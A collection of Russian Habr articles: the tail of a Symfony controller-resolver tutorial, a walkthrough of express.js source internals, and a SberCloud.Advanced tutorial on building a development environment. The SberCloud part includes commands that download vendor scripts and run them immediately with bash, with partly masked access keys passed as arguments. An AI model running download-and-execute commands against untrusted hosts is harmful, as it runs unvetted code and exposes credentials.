function getArguments(Request $request, $controller);
}
```
**GetController()** метод основан на том же соглашении, которое мы приняли ранее: \_controller должен содержать контроллер, связанный с запросом. Так же как и встроенные в PHP функции обратного вызова, **getController()** принимает строки, состоящие из имени класса плюс два двоеточия и имя метода — «класс:: метод»:
```
$routes->add('leap_year', new Routing\Route('/is_leap_year/{year}', array(
'year' => null,
'_controller' => 'LeapYearController::indexAction',
)));
```
Чтобы заставить этот код работать, измените код фреймворка таким образом, чтобы использовать *controller resolver* от ***HttpKernel***:
```
use Symfony\Component\HttpKernel;
$resolver = new HttpKernel\Controller\ControllerResolver();
$controller = $resolver->getController($request);
$arguments = $resolver->getArguments($request, $controller);
$response = call_user_func_array($controller, $arguments);
```
> *Приятная мелочь: controller resolver корректно обрабатывает ошибки за вас, например: если вы забыли определить \_controller он выдаст соответствующую ошибку.*
Теперь давайте посмотрим, как узнаются аргументы контроллера. **getArguments()** разбирает подпись контроллера, чтобы определить, какие аргументы ему передавать используя реверс-инжиниринг PHP [Reflection](http://php.net/manual/ru/intro.reflection.php).
Аргументом метода **IndexAction()** является объект класса ***Request***. Метод **getArguments()** верно передает аргумент, если корректно определен тип:
```
public function indexAction(Request $request)
// won't work
public function indexAction($request)
```
Интересный факт то, что в **getArguments()** так же можно передать любой атрибут класса ***Request***; достаточно чтобы аргумент назывался так же, как и соответствующий атрибут:
```
public function indexAction($year)
```
Также вы можете одновременно передавать различные атрибуты вместе с объектом класса ***Request*** (порядок не важен, так как указывается тип)
```
public function indexAction(Request $request, $year)
public function indexAction($year, Request $request)
```
Естественно, вы можете определить значения по умолчанию для любого аргумента:
```
public function indexAction($year = 2012)
```
Давайте просто передадим *$year* в наш контроллер:
```
class LeapYearController
{
public function indexAction($year)
{
if (is_leap_year($year)) {
return new Response('Yep, this is a leap year!');
}
return new Response('Nope, this is not a leap year.');
}
}
```
*controller resolver* также заботится о проверке вызова контроллера и его аргументах. В случае возникновения проблемы, он генерирует исключение, с понятным сообщением, объясняющим проблему: контроллер класса не существует, этот метод не определен, аргумент не соответствует атрибуту,…
Подведем итоги по нашей новой версии фреймворка:
```
php
// example.com/web/front.php
require_once __DIR__.'/../vendor/.composer/autoload.php';
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing;
use Symfony\Component\HttpKernel;
function render_template($request)
{
extract($request-attributes->all());
ob_start();
include sprintf(__DIR__.'/../src/pages/%s.php', $_route);
return new Response(ob_get_clean());
}
$request = Request::createFromGlobals();
$routes = include __DIR__.'/../src/app.php';
$context = new Routing\RequestContext();
$context->fromRequest($request);
$matcher = new Routing\Matcher\UrlMatcher($routes, $context);
$resolver = new HttpKernel\Controller\ControllerResolver();
try {
$request->attributes->add($matcher->match($request->getPathInfo()));
$controller = $resolver->getController($request);
$arguments = $resolver->getArguments($request, $controller);
$response = call_user_func_array($controller, $arguments);
} catch (Routing\Exception\ResourceNotFoundException $e) {
$response = new Response('Not Found', 404);
} catch (Exception $e) {
$response = new Response('An error occurred', 500);
}
$response->send();
```
Задумайтесь на минутку: наш фреймворк стал еще более надежным и гибким, и до сих пор состоит из менее чем 40 строк кода. | https://habr.com/ru/post/138893/ | null | ru | null |
# Особенности работы и внутреннего устройства express.js
Если вы занимались разработкой для платформы node.js, то вы, наверняка, слышали об [express.js](https://expressjs.com/). Это — один из самых популярных легковесных фреймворков, используемых при создании веб-приложений для node.
[](https://habr.com/company/ruvds/blog/414079/)
Автор материала, перевод которого мы сегодня публикуем, предлагает изучить особенности внутреннего устройства фреймворка express через анализ его исходного кода и рассмотрение примера его использования. Он полагает, что изучение механизмов, лежащих в основе популярных опенсорсных библиотек, способствует более глубокому их пониманию, снимает с них завесу «таинственности» и помогает создавать более качественные приложения на их основе.
Возможно, вы сочтёте удобным держать под рукой исходный код express в процессе чтения этого материала. Здесь использована [эта версия](https://github.com/expressjs/express/tree/c0136d8b48dd3526c58b2ad8666fb4b12b55116c). Вы вполне можете читать эту статью и не открывая код express, так как здесь, везде где это уместно, даются фрагменты кода этой библиотеки. В тех местах, где код сокращён, используются комментарии вида `// ...`
Базовый пример использования express
------------------------------------
Для начала взглянем на традиционный в деле освоения новых компьютерных технологий «Hello World!»-пример. Его можно найти на официальном сайте фреймворка, он послужит отправной точкой в наших исследованиях.
```
const express = require('express')
const app = express()
app.get('/', (req, res) => res.send('Hello World!'))
app.listen(3000, () => console.log('Example app listening on port 3000!'))
```
Этот код запускает новый HTTP-сервер на порту 3000 и отправляет ответ `Hello World!` на запросы, поступающие по маршруту `GET /`. Если не вдаваться в подробности, то можно выделить четыре стадии происходящего, которые мы можем проанализировать:
1. Создание нового приложения express.
2. Создание нового маршрута.
3. Запуск HTTP-сервера на заданном номере порта.
4. Обработка поступающих к серверу запросов.
Создание нового приложения express
----------------------------------
Команда `var app = express()` позволяет создать новое приложение express. Функция `createApplication` из файла [lib/express.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/express.js#L37) является функцией, экспортируемой по умолчанию, именно к ней мы обращаемся, выполняя вызов функции `express()`. Вот некоторые важные вещи, на которые тут стоит обратить внимание:
```
// ...
var mixin = require('merge-descriptors');
var proto = require('./application');
// ...
function createApplication() {
// Это возвращаемая переменная приложения, о которой мы поговорим позже.
// Обратите внимание на сигнатуру функции: `function(req, res, next)`
var app = function(req, res, next) {
app.handle(req, res, next);
};
// ...
// Функция `mixin` назначает все методы `proto` методам `app`
// Один из этих методов - метод `get`, который был использован в примере.
mixin(app, proto, false);
// ...
return app;
}
```
Объект `app`, возвращённый из этой функции — это один из объектов, используемых в коде нашего приложения. Метод `app.get` добавляется с использованием функции `mixin` библиотеки [merge-descriptors](https://github.com/component/merge-descriptors), которая ответственна за назначение `app` методов, объявленных в `proto`. Сам объект `proto` импортируется из [lib/application.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/application.js).
Создание нового маршрута
------------------------
Взглянем теперь на [код](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/application.js#L472), который ответственен за создание метода `app.get` из нашего примера.
```
var slice = Array.prototype.slice;
// ...
/**
* Делегирование вызовов `.VERB(...)` `router.VERB(...)`.
*/
// `methods` это массив методов HTTP, (нечто вроде ['get','post',...])
methods.forEach(function(method){
// Это сигнатура метода app.get
app[method] = function(path){
// код инициализации
// создание маршрута для пути внутри маршрутизатора приложения
var route = this._router.route(path);
// вызов обработчика со вторым аргументом
route[method].apply(route, slice.call(arguments, 1));
// возврат экземпляра `app`, что позволяет объединять вызовы методов в цепочки
return this;
};
});
```
Интересно отметить, что, помимо семантических особенностей, все методы, реализующие действия HTTP, вроде `app.get`, `app.post`, `app.put` и подобных им, в плане функционала, можно считать одинаковыми. Если упростить вышеприведённый код, сведя его к реализации лишь одного метода `get`, то получится примерно следующее:
```
app.get = function(path, handler){
// ...
var route = this._router.route(path);
route.get(handler)
return this
}
```
Хотя у вышеприведённой функции 2 аргумента, она похожа на функцию `app[method] = function(path){...}`. Второй аргумент, `handler`, получают, вызывая `slice.call(arguments, 1)`.
Если в двух словах, то `app.` просто сохраняет маршрут в маршрутизаторе приложения, используя его метод `route`, а затем передаёт `handler` в `route.`.
Метод маршрутизатора `route()` объявлен в [lib/router/index.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/router/index.js#L491):
```
// proto - это прототип объявления объекта `_router`
proto.route = function route(path) {
var route = new Route(path);
var layer = new Layer(path, {
sensitive: this.caseSensitive,
strict: this.strict,
end: true
}, route.dispatch.bind(route));
layer.route = route;
this.stack.push(layer);
return route;
};
```
Неудивительно то, что объявление метода `route.get` в [lib/router/route.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/router/route.js#L192) похоже на объявление `app.get`:
```
methods.forEach(function (method) {
Route.prototype[method] = function () {
// `flatten` конвертирует вложенные массивы, вроде [1,[2,3]], в одномерные массивы
var handles = flatten(slice.call(arguments));
for (var i = 0; i < handles.length; i++) {
var handle = handles[i];
// ...
// Для каждого обработчика, переданного маршруту, создаётся переменная типа Layer,
// после чего её помещают в стек маршрутов
var layer = Layer('/', {}, handle);
// ...
this.stack.push(layer);
}
return this;
};
});
```
У каждого маршрута может быть несколько обработчиков, на основе каждого обработчика конструируется переменная типа `Layer`, представляющая собой слой обработки данных, которая потом попадает в стек.
Объекты типа Layer
------------------
И `_router`, и `route` используют объекты типа `Layer`. Для того чтобы разобраться в сущности такого объекта, посмотрим на его [конструктор](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/router/layer.js#L33):
```
function Layer(path, options, fn) {
// ...
this.handle = fn;
this.regexp = pathRegexp(path, this.keys = [], opts);
// ...
}
```
При создании объектов типа `Layer` им передают путь, некие параметры, и функцию. В случае нашего маршрутизатора этой функцией является `route.dispatch` (подробнее о ней мы поговорим ниже, в общих чертах, она предназначена для передачи запроса отдельному маршруту). В случае с самим маршрутом, эта функция является функцией-обработчиком, объявленной в коде нашего примера.
У каждого объекта типа `Layer` есть метод [handle\_request](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/router/layer.js#L86), который отвечает за выполнение функции, переданной при инициализации объекта.
Вспомним, что происходит при создании маршрута с использованием метода `app.get`:
1. В маршрутизаторе приложения (`this._router`) создаётся маршрут.
2. Метод маршрута `dispatch` назначается в качестве метода-обработчика соответствующего объекта `Layer`, и этот объект помещают в стек маршрутизатора.
3. Обработчик запроса передаётся объекту `Layer` в качестве метода-обработчика, и этот объект помещается в стек маршрутов.
В итоге все обработчики хранятся внутри экземпляра `app` в виде объектов типа `Layer`, которые находятся внутри стека маршрутов, методы `dispatch` которых назначены объектам `Layer`, которые находятся в стеке маршрутизатора:
*Объекты типа Layer в стеке маршрутизатора и в стеке маршрутов*
Поступающие HTTP-запросы обрабатываются в соответствии с этой логикой. Мы поговорим о них ниже.
Запуск HTTP-сервера
-------------------
После настройки маршрутов надо запустить сервер. В нашем примере мы обращаемся к методу `app.listen`, передавая ему в качестве аргументов номер порта и функцию обратного вызова. Для того чтобы понять особенности этого метода, мы можем обратиться к файлу [lib/application.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/application.js#L616):
```
app.listen = function listen() {
var server = http.createServer(this);
return server.listen.apply(server, arguments);
};
```
Похоже, что `app.listen` — это просто обёртка вокруг `http.createServer`. Такая точка зрения имеет смысл, так как если вспомнить то, о чём мы говорили в самом начале, `app` — это просто функция с сигнатурой `function(req, res, next) {...}`, которая совместима с аргументами, необходимыми для `http.createServer` (сигнатурой этого метода является `function (req, res) {...}`).
После понимания того, что, в итоге, всё, что даёт нам express.js, может быть сведено к весьма интеллектуальной функции-обработчику, фреймворк выглядит уже не таким сложным и таинственным, как раньше.
Обработка HTTP-запроса
----------------------
Теперь, когда мы знаем, что `app` — это всего лишь обработчик запросов, проследим за путём, который проходит HTTP-запрос внутри приложения express. Этот путь ведёт его в объявленный нами обработчик.
Сначала запрос поступает в функцию `createApplication` ([lib/express.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/express.js#L38)):
```
var app = function(req, res, next) {
app.handle(req, res, next);
};
```
Потом он идёт в метод `app.handle` ([lib/application.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/application.js#L158)):
```
app.handle = function handle(req, res, callback) {
// `this._router` - это место, где мы объявили маршрут, используя `app.get`
var router = this._router;
// ...
// Запрос попадает в метод `handle`
router.handle(req, res, done);
};
```
Метод `router.handle` объявлен в [lib/router/index.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/router/index.js#L136):
```
proto.handle = function handle(req, res, out) {
var self = this;
//...
// self.stack - это стек, в который были помещены все
//объекты Layer (слои обработки данных)
var stack = self.stack;
// ...
next();
function next(err) {
// ...
// Получение имени пути из запроса
var path = getPathname(req);
// ...
var layer;
var match;
var route;
while (match !== true && idx < stack.length) {
layer = stack[idx++];
match = matchLayer(layer, path);
route = layer.route;
// ...
if (match !== true) {
continue;
}
// ... ещё некоторые проверки для методов HTTP, заголовков и так далее
}
// ... ещё проверки
// process_params выполняет разбор параметров запросов, в данный момент это не особенно важно
self.process_params(layer, paramcalled, req, res, function (err) {
// ...
if (route) {
// после окончания разбора параметров вызывается метод `layer.handle_request`
// он вызывается с передачей ему запроса и функции `next`
// это означает, что функция `next` будет вызвана снова после того, как завершится обработка данных в текущем слое
// в результате, когда функция `next` будет вызвана снова, запрос перейдёт к следующему слою
return layer.handle_request(req, res, next);
}
// ...
});
}
};
```
Если описать происходящее в двух словах, то функция `router.handle` проходится по всем слоям в стеке, до тех пор, пока не найдёт тот, который соответствует пути, заданному в запросе. Затем будет произведён вызов метода слоя `handle_request`, который выполнит заранее заданную функцию-обработчик. Эта функция-обработчик является методом маршрута `dispatch`, который объявлен в [lib/route/route.js](https://github.com/expressjs/express/blob/c0136d8b48dd3526c58b2ad8666fb4b12b55116c/lib/router/route.js#L98):
```
Route.prototype.dispatch = function dispatch(req, res, done) {
var stack = this.stack;
// ...
next();
function next(err) {
// ...
var layer = stack[idx++];
// ... проверки
layer.handle_request(req, res, next);
// ...
}
};
```
Так же, как и в случае с маршрутизатором, при обработке каждого маршрута осуществляется перебор слоёв, которые есть у этого маршрута, и вызов их методов `handle_request`, которые выполняют методы-обработчики слоёв. В нашем случае это обработчик запроса, который объявлен в коде приложения.
Здесь, наконец, HTTP-запрос попадает в область кода нашего приложения.
*Путь запроса в приложении express*
Итоги
-----
Здесь мы рассмотрели лишь основные механизмы библиотеки express.js, те, которые ответственны за работу веб-сервера, но эта библиотека обладает и многими другими возможностями. Мы не останавливались на проверках, которые проходят запросы до поступления их в обработчики, мы не говорили о вспомогательных методах, которые доступны при работе с переменными `res` и `req`. И, наконец, мы не затрагивали одну из наиболее мощных возможностей express. Она заключается в использовании промежуточного программного обеспечения, которое может быть направлено на решение практически любых задача — от разбора запросов до реализации полноценной системы аутентификации.
Надеемся, этот материал помог вам разобраться в основных особенностях устройства express, и теперь вы, при необходимости, сможете понять всё остальное, самостоятельно проанализировав интересующие вас части исходного кода этой библиотеки.
**Уважаемые читатели!** Пользуетесь ли вы express.js?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/414079/ | null | ru | null |
# Как развернуть стенд для разработки с помощью сервисов облачной платформы SberCloud.Advanced
Хабр, привет! Меня зовут Георгий Липатов. Я — DevOps-инженер, работаю в Сбере, также сопровождаю мониторинг и бэкапы в Sber Tax Free.
Мы начали строить этот сервис в конце прошлого года — тогда наша ИТ-команда состояла из двух backend-разработчиков, DevOps-инженера и пары специалистов по frontend’у. Чтобы не терять время и проверить первые гипотезы, мы решили развернуть стенды для разработки и тестирования в облаке. Помимо решений в области информационной безопасности нам, конечно же, были необходимы удобные инструменты для развертывания, мониторинга и бэкапов. Плюс — масштабируемые ресурсы в зависимости от потребностей проекта.
Как только мы подготовили чуть более развернутое описание наших запросов и рассказали о проекте коллегам из [SberCloud](https://sbercloud.ru/ru?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpandthestand_2209_all_advanced), они предоставили нам тестовый доступ и документацию для SberCloud.Advanced. В итоге мы развернули стенды за несколько минут, а еще — сняли с себя необходимость отслеживания обновлений, патчинга и оплаты отдельных инструментов. Последний момент заключается в том, что вместо запуска дополнительной «виртуалки» можно воспользоваться бесплатным сервисом, который предоставляет платформа.
Далее я расскажу о настройке стенда для тестового приложения в формате пошагового туториала. Всех заинтересовавшихся приглашаю под кат.
Запускаем виртуальную сеть
--------------------------
Для начала стоит изолировать среду для разработки от других окружений — например, контуров для тестирования и продакшена. Также стоит сформировать подсети, для которых будут действовать сетевые правила.
Для того чтобы перейти к базовым настройкам, можно воспользоваться веб-интерфейсом для управления сервисами SberCloud.Advanced: перейти в раздел Virtual Private Cloud и нажать Create VPC. В меню настроек — задать название сети (dev-vpc), адрес и маску подсети, а также отметить, что создаваемая виртуальная сеть будет относиться к нашему проекту (выбрать его в выпадающем списке в подпункте настроек Enterprise Project).
Для тестового проекта мы выбрали три подсети — private, public и tools — для backend’а, frontend’а и вспомогательных сервисов соответственно. Для них нужно указать IP-адреса и применить настройки кнопкой Create New.
В результате — мы получили виртуальный ЦОД (dev-vpc) и подсети:
Создаем IP-адреса
-----------------
После запуска виртуальной сети стоит выделить IP-адреса для пробных проектов. Чтобы это сделать, можно открыть панель управления SberCloud.Advanced, перейти в раздел Elastic IP и кликнуть по кнопке Assign EIP.
В открывшемся меню следует указать число IP-адресов в подпункте Quantity. В нашем случае их будет четыре. Также стоит отметить их принадлежность к нашему проекту (уже знакомый выпадающий список Enterprise Project).
При желании в этом же окне можно задать пропускную способность каналов, но мы оставим этот пункт без изменений и сохраним настройки кнопкой Create.
Далее остается обновить страницу раздела EIPs — там отобразятся только что созданные адреса.
Настраиваем группы безопасности
-------------------------------
Перейдем к настройке фаервола, отвечающего за доступ приложений по определённым портам. В рамках туториала будем работать с портами 443 и 80 для веб-сервера, 22 портом для SSH-соединения, и 5432 для базы данных PostgreSQL. Для исходящего трафика оставим опции по умолчанию.
Перед настройкой группы безопасности её необходимо сформировать. Сделать это можно в разделе Virtual Private Cloud. Выбираем пункт Security Groups, нажимаем Create Security Group и во всплывающем окне даем группе имя (в нашем случае — dev-backend-sg), указываем проект, к которому она относится (подраздел Enterprise Project), и подтверждаем действия кнопкой ОК.
Чтобы добавить сетевые правила в только что созданную группу безопасности, нужно кликнуть на название группы (она, конечно же, находится в разделе Security Groups) и перейти во вкладку Inbound Rules в верхней части страницы. В этой вкладке вы увидите правила по умолчанию для портов 443, 80 и 22.
Порт 5432 для PostgreSQL придется открыть вручную. Для этого нажимаем Add Rule, прописываем значение порта во второе поле и в подразделе Source выбираем группу безопасности, где будет работать новое правило.
Вы могли заметить, что в автоматически сгенерированном списке правил присутствует еще открытый порт (TCP: 3389). Мы не планируем использовать его, поэтому удалим в целях безопасности. Для этого достаточно нажать на Delete напротив соответствующего правила и подтвердить операцию.
Исходящие правила пока оставим в виде, заданном по умолчанию.
Развертываем облачный сервер
----------------------------
На этом шаге необходимо указать спецификацию сервера, а также желаемый образ операционной системы, объем жесткого диска и другие настройки. Для примера развернем сервер для нашего backend-приложения. Серверы для frontend’а и других инструментов можно «поднять» аналогичным образом.
В первую очередь нужно перейти в раздел [Elastic Cloud Server](https://sbercloud.ru/ru/products/elastic-cloud-server?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_ecs_advanced) из панели управления и нажать кнопку Create ECS. Откроется окно, где мы определим регион (в нашем случае — ru-moscow) и зону доступности (AZ1).
Параметры сервера выбираем в подразделе Specifications. Для этого кейса возьмем вариант средней мощности — s6.xlarge.2 с четырьмя ядрами, восемью гигабайтами RAM и гарантированной пропускной способностью в 0,35 Гбит/с.
На этой же странице укажем, под управлением какой операционной системы будет работать сервер (CentOS 8.1), и обозначим объем диска (100 Гбайт).
Далее с помощью кнопки Next перейдем к настройке сети. В новом окне укажем сеть (dev-vpc) и подсеть, в которой будет работать сервер (dev-private-subnet).
Плюс — выберем группу безопасности, определённую ранее. Здесь же в таблице можно будет увидеть все настроенные входящие правила файрвола.
На этой странице остается назначить серверу заранее подготовленный IP-адрес. Для этого нужно поставить галочку Specify EIP. Теперь можно нажимать на кнопку Next и переходить к последнему шагу развертывания сервера.
Осталось задать название (в нашем случае это — dev-backend) и указать ключ-пару для подключения по SSH. Плюс — поставить соответствующую галочку прямо под этим пунктом. Ключ dev-key мы подготовили заранее.
После привязки к нашему проекту (подраздел Enterprise Project) и применения всех настроек на экране появится выделенный сервер с IP-адресом:
Ставим приложения
-----------------
Подключаемся к серверу через терминал — вводим консольную команду с указанием адреса, выделенного ранее, двадцать второго порта и ключа:
```
ssh root@37.18.110.161 -p 22 -i ~/.ssh/dev-key.pem
```
После подключения можно ставить приложения. Для этой задачи мы использовали консольный менеджер пакетов yum:
```
yum -y install mc
```
Настраиваем внутренний домен
----------------------------
Чтобы разработчики могли подключаться через VPN, необходимо создать приватную зону и A-запись. Выбираем в основной панели управления облаком сервис [Domain Name Service](https://sbercloud.ru/ru/products/domain-name-service?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_dns_advanced). Далее в правом верхнем углу нажимаем на Create Private Zone и во всплывающем окне заполняем название домена (для примера — testproject.dev), указываем, что он относится к нашей виртуальной сети (dev-vpc) и прописываем email (опционально). После нажатия на ОК будет сформирована доменная зона, готовая к добавлению записей поддоменов.
В качестве примера сформируем запись поддомена для backend-приложения (кнопка Add Record Set). В этом случае понадобится указать имя (api) и IP-адрес сервера в полe Value (10.0.2.27). Значение TTL уставим по умолчанию.
По аналогии настроим front приложения. Укажем для него адрес 10.0.2.28.
Устанавливаем VPN-сервер
------------------------
Выбор VPN-сервера полностью зависит от ваших предпочтений. Мы используем [Ocserv](https://ocserv.gitlab.io/www/), так как он бесплатный, легко настраивается и работает с несколькими уровнями безопасности. Найти его можно на [Gitlab](https://gitlab.com/openconnect/ocserv) вместе с [документацией](https://ocserv.gitlab.io/www/manual.html).
Используем подход IaC (опционально)
-----------------------------------
Чтобы упростить процесс, можно обратиться к подходу Infrastructure-as-Code (IaC). Он позволяет управлять развертыванием инфраструктуры с помощью конфигурационных файлов. Далее — приведу небольшой пример, используя [Terraform](https://registry.terraform.io/providers/sbercloud-terraform/sbercloud/latest):
```
$ cat main.tf
variable "access_key" {
default ="ACCESSKEY"
}
variable "secret_key" {
default ="SECRETKEY"
}
terraform {
required_providers {
sbercloud = {
source = "sbercloud-terraform/sbercloud"
}
}
}
provider "sbercloud" {
auth_url = "https://iam.ru-moscow-1.hc.sbercloud.ru/v3"
region = "ru-moscow-1"
access_key = var.access_key
secret_key = var.secret_key
}
resource "sbercloud_vpc" "test_vpc" {
count = 1
name = "test-vpc"
cidr = "10.1.0.0/22"
}
```
Такие файлы можно хранить в системах контроля версий и использовать для автоматизации работы с инфраструктурой. У нас на сервере уже установлен Terraform, и мы заранее подготовили файл с конфигурацией — main.tf.
С его помощью мы «подняли» новую виртуальную сеть — test-vpc. Если мы обновим страницу Virtual Private Cloud в панели управления SberCloud.Advanced, то увидим, что в списке появился новый компонент инфраструктуры.
Если модифицировать конфигурационный файл и заменить в объекте "test-vpc" свойство count 1 на 0, то запуск команды `terraform apply` приведет к удалению созданной сети:
Добавляем базу данных
---------------------
Облако SberCloud.Advanced работает с несколькими движками баз данных — MSSQL, PostgreSQL и MySQL и другими. Развертывание, конечно же, происходит в автоматическом режиме. Чтобы осуществить его, нужно перейти в раздел Relational Database Service в панели управления облаком и далее нажать кнопку Create DB Instance. После этого можно будет задать название инстанса (dev-rds), выбрать движок и его версию (PostgreSQL 12). Здесь же важно указать тип инстанса базы данных (Single), зону доступности (AZ1) и временную зону.
На этой же странице мы настроим конфигурацию инстанса для БД и размер диска. Для нашей задачи было достаточно пары ядер, восьми гигабайт оперативной памяти и хранилища на сто гигабайт.
Осталось добавить БД в виртуальную сеть (dev-vpc) и подсеть (dev-private-subnet). Плюс — включить её в группу безопасности (dev-backend-sg), чтобы применить настройки файрвола, и добавить к нашему проекту (подпункт Enterprise Project). Далее — ставим пароль, и БД готова к приему данных.
Для администрирования базы данных в облаке уже развернут инструмент [Data Admin Service (DAS)](https://sbercloud.ru/ru/products/data-admin-service?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_data-admin-service_advanced). Он доступен в основной панели управления. С его помощью можно формировать схемы, таблицы, запускать SQL-скрипты. Переходим в DAS, вводим только что придуманный пароль и подключаемся к базе данных.
Теперь можно добавлять в БД записи — для примера сформируем БД с названием test. Другие настройки для нее оставим по умолчанию.
Далее войдем в базу — пока что она пустая. Чтобы это исправить, перейдем на вкладку SQL Window в верхней части экрана.
Там мы можем прописать тестовый SQL-скрипт, который создаст таблицу и импортирует в нее информацию:
```
CREATE TABLE links (
id SERIAL PRIMARY KEY,
url VARCHAR (255) NOT NULL,
name VARCHAR (255) NOT NULL,
description VARCHAR (255),
last_update DATE
);
INSERT INTO links (url,name)
VALUES (‘https://www.postgresqltutorial.com’,’PostgreSQL Tutorial’);
```
Просмотреть содержимое можно, вернувшись на вкладку Database management-test (где test — это название нашей БД). Для этого достаточно нажать на Open.
Подключаем мониторинг
---------------------
Возможным подходом является развертка отдельного сервера с [Zabbix](https://www.zabbix.com/ru) или [Prometheus](https://prometheus.io/) и установкой агентов. Облако SberCloud.Advanced предлагает готовый к работе сервис для мониторинга — [Cloud Eye](https://sbercloud.ru/ru/products/cloud-eye?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_cloud-eye_advanced).
Внутри Cloud Eye — в подразделе меню Server Monitoring — уже отображается поднятый ранее сервер (dev-backend). Нам остается установить на него агент — для этого нужно кликнуть на Configuration и выбрать пункт Install Agent.
Система сгенерирует команду, которую нужно ввести в терминал:
```
cd /usr/local && wget https://telescope-ru-moscow-1.obs.ru-moscow-1.hc.sbercloud.ru/scripts/agentinstall.sh && chmod 755 agentinstall.sh && ./agentinstall.sh
```
Она установит агент Telescope, отвечающий за отправку уведомлений и метрик.
После успешного завершения всех операций нам остается лишь обновить конфигурацию. Сделать это можно, нажав на кнопку One-Click Restore во всплывающем окне, из которого мы инициировали установку агента.
Система выполнит необходимые процедуры и сообщит о готовности задачи.
После этого в главном меню Cloud Eye мы сможем увидеть, что в столбце Agent Status появилась запись Running.
Данные мониторинга отражены на специальных dashboard’ах во вкладке OS Monitoring — чтобы её найти, нужно выбрать пункт New Metric (под курсором на скриншоте выше). Инструмент предлагает стандартный набор метрик — производительность CPU, объем используемой памяти, нагрузка на диск и другие. Конечно же, можно сконфигурировать и кастомные графики.
Можно подключить уведомления, которые будут приходить на электронную почту, если показания той или иной метрики войдут в критическую зону. Для задания правил необходимо вернуться в раздел Cloud Eye и перейти в меню Alarm Management — в правом углу будет кнопка Create Alarm Rule.
В настройках указываем название метрики. Мы будем мониторить работу диска, поэтому вписываем dev-low-disk. Здесь же выбираем сервер — dev-backend.
Далее — выбираем шаблон с параметрами уведомления. Платформа предлагает несколько вариантов, однако можно сформировать и свои (Create Manually).
Необходимо указать метрику, которую вы планируете отслеживать, — например, максимальную загруженность диска, другие моменты и не забыть условие срабатывания оповещения. Уведомлению можно придать один из четырех уровней значимости: от информационного до критического.
Собираем логи
-------------
Для этой задачи в портфолио платформы SberCloud.Advanced есть инструмент [Log Tank](https://sbercloud.ru/ru/products/log-tank-service?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_log-tank-service_advanced). С его помощью на сервер можно добавить агента-сборщика логов.
Чтобы он начал работать, необходимо сгенерировать ключи доступа нажатием на Create Access Key. Верификация происходит путем отправки проверочного кода на электронную почту, привязанную к личному кабинету в облаке.
После нажатия на кнопку ОК и непродолжительной загрузки, будет сформирован ключ доступа. На экране высветится соответствующее сообщение.
Перед установкой агента также нужно создать группу логов для backend-приложения. Для этого возвращаемся в основное меню Log Tank и нажимаем на специальную кнопку — Create Log Group. Во всплывающем окне достаточно прописать имя группы. В нашем случае — это dev-back-log.
Группа отобразится в списке на экране. Выбираем её и кликаем на Create Log Stream в правом верхнем углу, чтобы сформировать поток — dev-back-api.
После нажатия кнопки ОК система предложит установить агент. Прописываем сгенерированные ключи доступа, скопировав их из соответствующего файла.
После этого система сформирует команду для установки из терминала — вот пример такой команды:
```
Curl http://icagent-ru-moscow-1.obs.ru-moscow-1.hc.sbercloud.ru/ICAgent_linux/apm_agent_install.sh > apm_agent_install.sh && REGION-ru-moscow-1 bash apm_agent_install.sh -ak NADYN***WOIRG -sk 8VMid6YN***21ZN8oQs -region ru-moscow-1 -projectid 0c424f5e840026e42f05c00e3f11e0cb -accessip 100.125.13.65 -obsdomain obs.ru-moscow-1.hc.sbercloud.ru
```
После выполнения операции остаётся сообщить системе логирования директорию для трансфера логов. Для этого возвращаемся на вкладку Log Management и по порядку кликаем на записи dev-back-log и dev-back-api.
В меню слева выбираем пункт Host и нажимаем Add Path.
В открывшемся окне необходимо определить сервер (dev-backend), для которого будет вестись запись логов.
После этого можно указать директорию для их хранения. Мы будем писать логи безопасности и сообщений на сервере в /var/log/messages.
После этого в фиде Log Tank (в меню Log Stream) сразу появятся сообщения.
Если выбрать на одну из записей, можно изучить подробную информацию о ней:
Настраиваем резервное копирование
---------------------------------
Для этих целей в SberCloud.Advanced тоже есть свой сервис — [Cloud Backup and Recovery](https://sbercloud.ru/ru/products/cloud-backup-and-recovery?utm_source=habr&utm_medium=article&utm_campaign=habr_howtoexpanddevstand_2209_cloud-backup_advanced). Открываем его из панели управления облаком и формируем хранилище для резервных копий нажатием кнопки Create Server Backup Vault.
Выбираем имя сервера из списка (dev-backend).
Чуть ниже указываем объем диска, выбираем из выпадающего списка в пункте Enterprise Project наш проект и даем хранилищу имя — dev-api-backup.
После сохранения настроек в списке хранилищ Cloud Backup and Recovery появляется новая запись. Теперь, если нажать на Bind Backup Policy (из выпадающего меню по клику на More), можно «привязать» к хранилищу бэкапов соответствующую политику.
В настройках политики достаточно указать, когда будет происходить резервное копирование — в какое время, в какие дни. По нашему опыту проводить бэкапы сред разработки стоит по вечерам или в выходные, чтобы не увеличивать нагрузку на сервер в рабочее время.
Резервное копирование можно запустить и принудительно. Достаточно нажать Perform Backup в выпадающем меню More.
После подтверждения операции будет запущено создание резервной копии.
Эту операцию (и другие, находящиеся в очереди) можно найти во вкладке Backups — она отражает статус выполнения задач резервного копирования.
